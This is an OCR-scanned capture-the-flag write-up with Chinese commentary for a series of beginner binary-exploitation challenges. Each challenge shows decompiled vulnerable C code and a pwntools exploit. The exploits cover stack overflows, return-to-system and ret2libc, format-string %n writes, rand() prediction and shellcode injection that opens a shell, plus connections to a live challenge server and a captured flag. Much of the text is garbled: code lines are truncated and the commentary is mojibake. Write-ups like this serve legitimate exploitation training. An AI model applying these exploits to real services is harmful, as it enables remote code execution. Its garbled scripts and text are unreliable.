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01 get_shell

1. nCEEHAT

wuangwuang@wuangwuang-PC: ~/Desktop$ nc 220.249.52.133 35257
1s

bin

dev

flag

get_shell

1lib

1lib32

1lib64

cat flag
cyberpeace{ac50687a7f80b6891T23b6d4526e768C}

2. fAiEfexp

pwn

r=remote

r.interactive

02 hello_pwn
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1| _inte4 _ fastcall main(__int64 al, char **a2, char **a3)
2q
3| alarm(ex3Cu);
4| setbuf(stdout, OLL);
5| puts("~~ welcome to ctf ~~ ")
6| puts("lets get helloworld for bof");
7| read(@, &unk_601068, 16uLl);
8| if ( dword_60106C == 1853186401 )
9 sub_48e686();
g return 6LL;
1}
5 4 B PR AR i

from pwn import
30174
p32(1853186401

r.sendlineafter payload

r.interactive

03 when_did_you_born

J:LUMI'\-\JLM':IIJ UI—I—,J_‘

puts("What's Your Birth?");
__1s0c99_scanf("%d", &v5);
while ( getchar() != 18 )

if ( v5 == 1926 )
{
puts(“"You Cannot Born In 1926!");
result = 6LL;
¥
else
{
puts("What's Your Name?");
gets(&v4);
printf(“"You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts(“"You Shall Have Flag.");
system("cat flag");
¥

else

{

puts("You Are Naive.");
puts("You Speed One Second Here.");

s
}

return result;

esult = @LL;
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from pwn import
r=remote( ,56940)
r.sendlineafter( 5 )

payload p32(1926)
r.sendlineafter( ,payload)

r.interactive()

04 level0

ssize_t vulnerable_function()

{
char buf; // [rsp+Bh] [rbp-86h]

return read(e, &buf, ex2eeuLL);

o Bw R

}

RIS, R— TR TR system

from pwn import
,42821)
Ox88+p64(0x400596)
r.sendline(payload)

r.interactive()

XAME R By & AR B R write i 2B 15 7R Firrecv()
05 level2

S3LlLE_L vulnerdole_Tuncwiony )

{
char buf; // [esp+@h] [ebp-88h]

system("echo Input:");
return read(e, &buf, exleeu);
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}
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from pwn import
r=remote( ,52591)
payload 0x88 p32(0x8048320) p32(0x804a024)

r.sendline(payload)

r.interactive()

EREUNMFICH, a0 SRR AR BRI o S 4Rk 4

from pwn import
,52591)
p64(0x8048320) p32(0x804a024)

r.sendline(payload)

r.interactive()



[+] Opening connection to 220.249.52.133 on port 52591: Done
[*] Switching to interactive mode

Input:

[*] Got EOF while reading in interactive

s i
Wah KN p32iE 20x12121212 1H & p64 )1 5t & 0x1212121200000000

XEHMEE P AHE, HREXA T EE #Hsystemk F0R [ bk (37 s AL R T
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06 cgpwn2

*y3 = @]
puts(“please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);

Bt E TR BOXA G system ERBHESHAN, FEHCSHE
from pwn import

r=remote( ,41650)
r.sendlineafter( )

payload 38 p32(0x8048420) p32(0x8042080)

r.sendlineafter( ,payload)

r.interactive()

07 int_overflow



R R _
Jchar *__cdecl check_passwd(char *s)
'
)| char *result; // eax

| char dest; // [esp+4h] [ebp-14h]

| unsigned __int8 v3; // [esp+Fh] [ebp-9h]

3 = strlen(s);
f (v3<=3u || v3>8u)

LT3
»

—

) puts("Invalid Password");
result = (char *)fflush(stdout);

¥
else
{
i puts(“"Success");
; fflush(stdout);
' result = strcpy(&dest, s);
|}
Il return result;
"
char *login()
{
char buf; // [esp+@h] [ebp-228h]
char s; // [esp+208h] [ebp-28h]
memset(&s, 6, 6x20u);
memset(&buf, ©, 8x200u);
puts("Please input your username:");
read(@, &s, 8x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(e, &buf, 8x199u);
return check_passwd(&buf);
¥

from pwn import
r= remote( REEVAVY
r.sendlineafter( 5 )

r.sendlineafter( ) )
payload 24 + p32(0x804868b)

r.sendlineafter( ,payload)

r.interactive()

08 guess_number



AR AR 1
setbuf(stderr, 6LL);

V6 = 8;
V8 = 8;

*(_QWORD *)seed = sub_BB@(v3, 6LL);
puts("--------------ommmmooo oo ")
puts(“Welcome to a guess number game!");
puts("---------------mommooo oo ");

puts("Please let me know your name!");
printf("Your name:");

gets(&v9);

v4 = (const char *)seed[0];

srand(seed[@]);
for (1 =0; 1 <=9; ++1 )
{

v8 = rand() % 6 + 1;

printf("------------- Turn:%d------------- \n", (unsigned int)(i + 1));
printf(“Please input your guess number:");

__is0c99_scanf("%d", &vE);

puts("----------------ooomooo o ")
if (ve = v8 )
{
puts("GG!");
exit(1);
¥

v4d = "Success!";
puts(“"Success!");

¥
sub_C3E(v4);
return ©LL;

1
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FE A rand (B £, 42056 H fsrand () i &F BENLEA T,  WRRBRENLER T, rand(V7E IR IR & B ShBLRENLE M 7 91,

*FctypeE Sl

BAME F pythonkr#E FE o B 3 B ctypestB Bt 4T python I c i VR & 4 5
libcHL B

ZHMFlrand O R MEXNILEEFEL

WA LA

elf = ELF(
libc = elf.libc

from pwn import
from ctypes import

io remote(
cdll.LoadLibrary(
payload 32 p64(1)
io.sendlineafter( ,payload)
for i in (10):
io.sendlineafter( 5 (libc.rand()%6 1))

io.interactive()

09 CGfsb



1% AL 5 5 IR
v8 = __readgsdword(@xl4u);
setbuf(stdin, @);
setbuf(stdout, 8);
setbuf(stderr, 0);

buf = @;
vE = @;
ve = 8;

memset(&s, ©, @x64u);
puts("please tell me your name:");
read(®@, &buf, @xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts(“your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system(“cat flag");
¥

else

{
puts(“Thank you!™);

}

return 9;

Ea ARk —F

%x: 16 HIEE, M%iISxRAREMFRBIL4IZHT K163 HEIE, %SxRREMFRBIASFE K163 H EHE, 32bit
64t 5 T —#F¢.

%p: FH16ERIBIE, S%xEA—ME, RRMMTAI%0x, 7E32bit THitH4FT, 7E64bit THiH8FT, Al@EdHHFHHK
JESRFIWT B b5 3E 52 32bitid & 64bit.

%s: HHKAARFRS, PR MBATREEIERNFERRERE, W% SRR ik thhl B e M 07/ 5, 7E32bitF164bit
HET—F, THFRRGOTRERER.

%n: R %nZ Biprintf 2 £ 47T B ) AR BORE 25 A2 AL 8 &1 P48 M bk AL B, 1% 100x10$nR =¥ 0x64 5 N w10 4L TR7E
REFFTIR ML (4F75), T %ShnRRm B AR HbE 2= B 82F 4, %$hhnR s 5 AL 1775, %$InR RS AR ik
A N8F Y, TE32bitFIG4bitsR g T —F.

A, BESAF NSRS B REEEREEK, 7T LUEE %Shnsk%$hhnsk & i 5% .

Yons & i 4 T 7 R IR TR SR AR P IRAR M S s r , Fo A A AL R B S H00T A TS B EEE A %n S B0

Bt LA S printfia &1 w6 £ /b

X B B 8324 56441

32hLHTERL AAAA

BANL G B AAAAAAAA’

please tell me your name:

aa

leave your message please:

AAAA -%p - %P -5 - 56 - %o ~ % - P - %P - 6P - %o - %o - %P - P - P - 6 - %o - e -

hello aa

your message is:
AAAA-BxTTa9355e-0xT7T485c@-0x1-(nil)-0x1-@xT7f98950-0x616100c2-0xa-(Nil)-0x41414141-0x2d70252d-0x252
d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
Thank you!

w210



from pwn import

r=remote
r.sendlineafter
payload p32(0x804a068

payload

r.interactive

10 string

WE R XA B R BT T X B ) — >
FAF A AR 48 Bt B B8R ) #% R TR

puts(“go into there(1l), or leave(®)?:");
_is0c99_scanf("%d", &vl);
if (vl ==1)
{
puts("A voice heard in your mind");
puts("”'Give me an address'");
_is0c99_scanf("%1ld", &v2);
puts( 'And, you wish is:");
_is0c99_scanf("%s"™, &format);
puts( "Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}

return __readfsqword(@x28u) ~ v4;

kuﬁiﬁA?ﬁ$%ﬁ%ﬁﬂ
ljUuNsS1gnea __ 1nTb4 __TasTCall SUD_4WWYLAbL(_UWUKD mal)
2{
3| wvoid *v1; // rsi
4/ unsigned __int64 v3; // [rsp+18h] [rbp-8h]
5
6| v3 = __readfsqword(ex28u);
7| puts("Ahu!!1IIIIIITIITIIIA Dragon has appeared!!");
8| puts("Dragon say: HaHa! you were supposed to have a normal");

9| puts("RPG game, but I have changed it! you have no weapon and ");

18| puts("skill! you could not defeat me !");

11| puts("That's sound terrible! you meet final boss!but you level is ONE!");
12| if ( *al == al[1] )

13| {
14 puts("Wizard: I will help you! USE YOU SPELL");
15 vl = mmap(@LL, ©xleeeuLL, 7, 33, -1, OLL);

16 read(e, vl, exleeuLL);
17 ((void (__fastcall *)(_QWORD, void *))vi)(eLL, v1);

18| }
19/ return __readfsqword(@x28u) ~ v3;
20}
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LrsLrowow il
'DEBUG] Received @x11 bytes:
"And, you wish is:'
'DEBUG] Sent @x3c bytes:
' AAAAAAAA - %D - 6P - %P - Fop - %P - o - 3P - P - 36 - %P - %P - %P - %P - %P - %P - Hp-%pAn '
*] Switching to interactive mode
'DEBUG] Received @x1 bytes:
"\n"

'DEBUG] Received @x247 bytes:

"Your wish is\n’

"AAAAAAAA-BxTeTeB2al76a3-0x7efeB2al8780-0x7eTeB827492c@-0x7eTe82c3T700-0x7eTeB2c3T700-0x10000
-0x1071010-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d702
1252d-0x2d70252d70252d70-0x70252d70252d7025-0x7eTe@@70252d- (nil) -@x7ffe341e1d@@I hear it, I hear

An'

"Ahutttirrrrrttttii A Dragon has appeared!!\n’

'Dragon say: HaHa! you were supposed to have a normalin’

'"RPG game, but I have changed it! you have no weapon and \n'

'skill! you could not defeat me !\n’

"That's sound terrible! you meet final boss!but you level is ONE!\n"

'The End..... Really?\n’
four wish is
\AAAAAAA-Ox7efeB2al76a3-0x7eTeB82al8780-0x7eTe827492c0-0x7eTeB82c3T700-0x7eTe82c3T700-0x100000022-
71019-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70
-@x2d70252d70252d70-0x70252d70252d7025-0x7eTe@@70252d- (nil) -@x7ffe341eld@@I hear it, I hear it..
Shutttrrriitttiti 1A Dragon has appeared!!
Jragon say: HaHa! you were supposed to have a normal
PG game, but I have changed it! you have no weapon and
;kill! you could not defeat me !
rhat's sound terrible! you meet final boss!but you level is OMNE!

rhe End..... Really?
(*] Got EOF while reading in interactive
a

[

BT XEHRRECALE AAAAAAAN EHE

from pwn import

context.log_level
process(

r.recvuntil( )
addr_4 (r.recvuntil( )[:
.sendlineafter( .
.sendlineafter( ;
.sendlineafter(
.sendlineafter( (addr_4)))

r.sendlineafter(
shellcode

r.sendafter( , shellcode)

r.interactive()

LTHIX N expEiEE — Tshellcode
F A A UX S

exp2



from pwn import

context(log level

r process(

r.recvuntil( )
addr_4 (r.recvuntil( )[:-1],16)
.sendlineafter(
.sendlineafter(
.sendlineafter(
.sendlineafter( (int(addr_4)))

r.sendlineafter( )
shellcode asm(shellcraft.sh())

r.sendafter( , shellcode)

r.interactive()

11 level3

BRABER -EMEE BB ER BN TERBMibekE B ABAETRE
EE I B|gotiRplt ATLASEHTE S — T RTEFHTHM, 3|, gotlptz FE T HHK

ssize_t vulnerable_function()

{
char buf; // [esp+@h] [ebp-88h]

write(1l, "Input:\n", 7u);
return read(e, &buf, exleeu);
}




from pwn import
,52569)

write plt=elf.plt[
write got=elf.got[
main_addr=elf.sym[
r.recvuntil( )
payload=0x88 p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

r.sendline(payload)

write_got_addr=u32(r.recv())

print (write_got_addr)

libc_base=write_got addr-libc.sym|[
print (libc_base)

system_addr libc_base+libc.sym[
print (system_addr)
bin_sh_addr libc_base 0x15902b

print (bin_sh_addr)

p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)

r.sendline(payload2)

r.interactive()
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